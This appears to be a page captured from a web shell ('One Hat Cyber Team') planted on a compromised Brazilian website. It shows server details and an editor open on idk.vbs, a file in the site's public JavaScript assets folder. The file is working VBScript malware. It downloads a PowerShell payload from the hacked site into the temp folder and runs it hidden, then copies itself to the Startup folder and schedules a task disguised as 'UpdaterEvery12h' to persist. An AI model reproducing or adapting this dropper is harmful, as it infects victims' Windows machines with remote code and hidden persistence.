One Hat Cyber Team

Your IP : 216.73.216.193

Server IP : 170.247.48.121

Server : Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.0.33

Buat File | Buat Folder

Dir : ~/home/lelopagani.com.br/public/assets/js/

Edit File: idk.vbs

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

tempPath = shell.ExpandEnvironmentStrings("%TEMP%\see.ps1")

' Download the payload
downloadCmd = "powershell -Command Invoke-WebRequest -Uri 'https://lelopagani.com.br/assets/js/idk.ps1' -OutFile '" & tempPath & "'"
shell.Run downloadCmd, 0, True

' Execute the payload silently
runCmd = "powershell -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File """ & tempPath & """"
shell.Run runCmd, 0, False

' Copy itself to Startup folder
startupFolder = shell.ExpandEnvironmentStrings("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup")
vbsFileName = fso.GetFileName(WScript.ScriptFullName)
destination = startupFolder & "\" & vbsFileName

If Not fso.FileExists(destination) Then
    fso.CopyFile WScript.ScriptFullName, destination
End If

' Create scheduled task to run the VBS in Startup (not the current script)
taskName = "UpdaterEvery12h"
taskCommand = "schtasks /Create /TN " & taskName & " /TR ""wscript.exe \""" & destination & "\"""" /SC HOURLY /MO 12 /ST 04:00 /F"

shell.Run taskCommand, 0, False

WScript.Quit